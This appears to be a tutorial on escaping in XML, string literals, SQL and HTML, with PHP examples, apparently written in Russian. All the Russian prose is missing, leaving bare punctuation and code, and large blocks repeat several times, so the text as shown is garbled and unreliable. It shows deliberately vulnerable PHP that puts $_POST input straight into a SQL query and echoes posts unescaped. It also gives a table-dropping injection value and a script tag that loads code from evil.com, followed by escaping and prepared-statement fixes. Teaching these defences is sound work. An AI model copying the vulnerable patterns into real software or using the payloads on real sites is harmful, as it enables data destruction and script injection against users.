, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
